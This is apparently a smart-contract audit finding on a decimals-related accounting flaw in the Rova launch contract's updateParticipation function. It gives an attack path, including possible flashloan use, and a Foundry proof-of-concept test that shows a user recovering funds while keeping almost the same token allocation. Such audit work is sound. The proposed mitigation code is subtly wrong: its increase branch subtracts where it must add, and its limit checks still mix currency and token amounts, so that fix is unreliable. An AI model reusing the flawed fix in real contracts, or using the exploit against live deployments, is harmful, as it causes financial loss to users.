Plain Cinnamon Cow

High

# User token misallocation in case of currency with lower decimals than project's token

### Summary

Due to a accounting logic line, the user tokens are set to an incorrect amount, leading to unfair losses/profits.

### Root Cause

When calling updateParticipation, the function updates the userTokens mapping to reflect the new project token amount submitted by the user. [However it sets the new userTokens amount as the difference between itself and the new currency amount instead of new project token amount.](https://github.com/sherlock-audit/2025-02-rova/blob/main/rova-contracts/src/Launch.sol#L361)

### Internal Pre-conditions

Project token decimals must be higher than currency decimals.

### External Pre-conditions

.

### Attack Path

1. User participates with the maximum amount of tokens. If they don't have sufficient funds, we can assume they're flashloaning them.
2. User then updates their participation to decrease their funds to the minimum amount possible.
3. User earns back the difference between the maximum and minimum currency tokens, but keeps almost the same allocation of funds.


### Impact

Assuming an user's token allocation is taken from the `_userTokensByLaunchGroup` mapping, for users who are decreasing their sum, they'll have roughly the same allocation as before, but they'll be refunded their submitted currency amount. In case they're finalized as a winner, they're going to earn more tokens than they should.

For users who are increasing their token allocation, they'll be severely overpaying the additional tokens they've added. In case they're finalized as winners, they'll be overpaying for less tokens. 

### PoC

1) Modify the setup launch in LaunchTestBase.t.sol
```solidity
    function _setUpLaunch() public {
        vm.startPrank(admin.addr);

        // Deploy contracts
        _initializeLaunch(admin.addr, testWithdrawalAddress);
        currency = new MockERC20();

        // Setup roles
        launch.grantRole(MANAGER_ROLE, manager);
        launch.grantRole(OPERATOR_ROLE, operator);
        launch.grantRole(SIGNER_ROLE, signer);

        // Fund users
        currency.transfer(user1, 2000 * 10 ** currency.decimals()); //modified
        currency.transfer(user2, 1000 * 10 ** currency.decimals());
        vm.stopPrank();
    }
```

2) Modify the Mock currency in the same contract to include decimals
```solidity
contract MockERC20 is ERC20 {
    constructor() ERC20("Mock Token", "MTK") {
        _mint(msg.sender, 1000000 * 10 ** 6);
    }

    function decimals() public view override returns (uint8) { //modified for high
        return 6;
    }
}
```

3) Run this test
```solidity
    function test_UpdateParticipation_WrongDecimals() public {
        // Prepare update participation request
        uint256 decreaseAmount = 500;
        UpdateParticipationRequest memory updateRequest = _createUpdateParticipationRequest(decreaseAmount);

        // The current amount of project tokens allocated to the user
        uint256 initialTokens = launch.getUserTokensByLaunchGroup(testLaunchGroupId, testUserId);

        bytes memory updateSignature = _signRequest(abi.encode(updateRequest));
        uint256 initialCurrencyBalance = currency.balanceOf(user1);

        // Expect ParticipationUpdated event
        vm.expectEmit();
        emit ParticipationUpdated(
            updateRequest.launchGroupId,
            updateRequest.newLaunchParticipationId,
            testUserId,
            user1,
            updateRequest.tokenAmount,
            address(currency)
        );

        vm.startPrank(user1);
        // Update participation
        launch.updateParticipation(updateRequest, updateSignature);

        // Verify update
        ParticipationInfo memory newInfo = launch.getParticipationInfo(updateRequest.newLaunchParticipationId);
        _verifyParticipationInfo(newInfo, updateRequest);
        ParticipationInfo memory oldInfo = launch.getParticipationInfo(updateRequest.prevLaunchParticipationId);
        assertEq(oldInfo.currencyAmount, 0);
        assertEq(oldInfo.tokenAmount, 0);

        // Verify refund
        assertEq(currency.balanceOf(user1), initialCurrencyBalance + 500 * 10 ** currency.decimals());

        // Verify total unique participants by launch group
        assertEq(launch.getNumUniqueParticipantsByLaunchGroup(testLaunchGroupId), 1);

        // This shows the user was barely charged, difference is less than 0.01%
        assertApproxEqRel(launch.getUserTokensByLaunchGroup(testLaunchGroupId, testUserId), initialTokens, 0.0001e18);

        vm.stopPrank();
    }
```

### Mitigation

Increase/decrease the userTokens array by the requested token amount instead.
```solidity
          if (prevInfo.currencyAmount > newCurrencyAmount) {
            // Calculate refund amount
            uint256 refundCurrencyAmount = prevInfo.currencyAmount - newCurrencyAmount;
            // Validate user new requested token amount is greater than min token amount per user
            if (userTokenAmount - refundCurrencyAmount < settings.minTokenAmountPerUser) {
                revert MinUserTokenAllocationNotReached(
                    request.launchGroupId, request.userId, userTokenAmount, request.tokenAmount
                );
            }
            // Update total tokens requested for user for launch group
            uint256 diff = prevInfo.tokenAmount - request.tokenAmount;
            userTokens.set(request.userId, userTokenAmount - diff);
            // Transfer payment currency from contract to user
            IERC20(request.currency).safeTransfer(msg.sender, refundCurrencyAmount);
        } else if (newCurrencyAmount > prevInfo.currencyAmount) {
            // Calculate additional payment amount
            uint256 additionalCurrencyAmount = newCurrencyAmount - prevInfo.currencyAmount;
            // Validate user new requested token amount is within launch group user allocation limits
            if (userTokenAmount + additionalCurrencyAmount > settings.maxTokenAmountPerUser) {
                revert MaxUserTokenAllocationReached(
                    request.launchGroupId, request.userId, userTokenAmount, request.tokenAmount
                );
            }
            // Update total tokens requested for user for launch group
            uint256 diff = request.tokenAmount - prevInfo.tokenAmount;
            userTokens.set(request.userId, userTokenAmount - diff);
            // Transfer payment currency from user to contract
            IERC20(request.currency).safeTransferFrom(msg.sender, address(this), additionalCurrencyAmount);
        }
```